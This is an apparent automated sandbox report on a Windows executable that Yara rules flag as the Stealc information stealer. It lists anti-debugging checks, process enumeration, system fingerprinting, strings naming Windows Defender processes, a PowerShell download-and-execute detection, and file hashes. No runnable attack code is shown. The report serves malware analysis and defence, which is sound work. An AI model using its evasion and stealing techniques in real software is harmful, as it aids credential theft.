0_2_00404610

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

0_2_00419F20

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]	0_2_00419AA0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C236A3 push dword ptr fs:[00000030h]	0_2_02C236A3
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04840D90 mov eax, dword ptr fs:[00000030h]	0_2_04840D90
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859D07 mov eax, dword ptr fs:[00000030h]	0_2_04859D07
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484092B mov eax, dword ptr fs:[00000030h]	0_2_0484092B

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485D481 SetUnhandledExceptionFilter,	0_2_0485D481
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B2BF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0485B2BF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B8A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0485B8A1

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	0_2_004198E0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_00419790
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048599F7 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_048599F7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859B47 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	0_2_04859B47

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_048869EF cpuid

0_2_048869EF

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00417D20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_04857F87

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

ID:	1546917
Product:	CloudBasic
Start time:	17:43:07
Start date:	01.11.2024
Sample:	lxEu3xfjIb.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	bb99cde9173ee6e21b61963f6a4a60da
SHA1:	2bcff0eba69c4592e4d2959e8a2e35fc35416338
SHA256:	c40ada473bd3a23569dd60807fa9754f2917c029e28746e7c1a32568d801dbfe
Filetype:	Win32 Executable (generic) a (10002005/4) 99.96%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lxEu3xfjIb.exe_6a39ec7dc1e69d3743f713aa75b8913c42b9f40_0a061317_b4af8d3d-2408-4610-94bc-e983b4fb00c5\Report.wer	Unicode text, UTF-16, little-endian text, with CRLF line terminators	F534E5C56DED81C019095ED874DD802D	B6DEE9F5C9D4163113F684DCBC8FE8FCCAB361DA	A00BC6742A560DEEEABF25D954E09076DF9102070F42AEFF0E098B118348B19A
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC397.tmp.dmp	Mini DuMP crash report, 14 streams, Fri Nov 1 16:44:05 2024, 0x1205a4 type	4D9C631A329B7C49FE8B1A55F7D7AE51	7D9F9AA5A0EB04062FB4126A2E2977B6B9D80F91	4D7261CB61375CE499C4C07B226E782C079825080930C45A3154E4DEECA4E533
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC463.tmp.WERInternalMetadata.xml	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators	56171415A96F6A311EEA419D95850D2C	A8D9CDFBC22D457BCC4041D044DDACCD1106A8A5	DD4DB1FF1EAD087F4409140517B0071EB5B2F76314EE971AF2DF6725B74C5589
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC4B3.tmp.xml	XML 1.0 document, ASCII text, with CRLF line terminators	66FE51B764CA53EC0EFFE9F1FE0337B3	1D50B5F486D97B19E0BC9418C880A8064DDEF475	398E197901475E311E317118799CA27F2FA6FFF41C52EEF5CE972626990453C2
C:\Windows\appcompat\Programs\Amcache.hve	MS Windows registry file, NT/2000 or above	F3551C273258A2C306551F7370EC36C3	A2469E4F444FB0683A94E6A5FD0344438292CC92	3B5831B8BC5F0B77119B85C014245C18EE5AFEB5F1161CE343E493FC97B1EFEA

Windows Analysis Report
lxEu3xfjIb.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Protection of GUI

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted URLs

Windows Analysis Report lxEu3xfjIb.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Protection of GUI

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted URLs

Windows Analysis Report
lxEu3xfjIb.exe

Malware Threat Intel
Provided by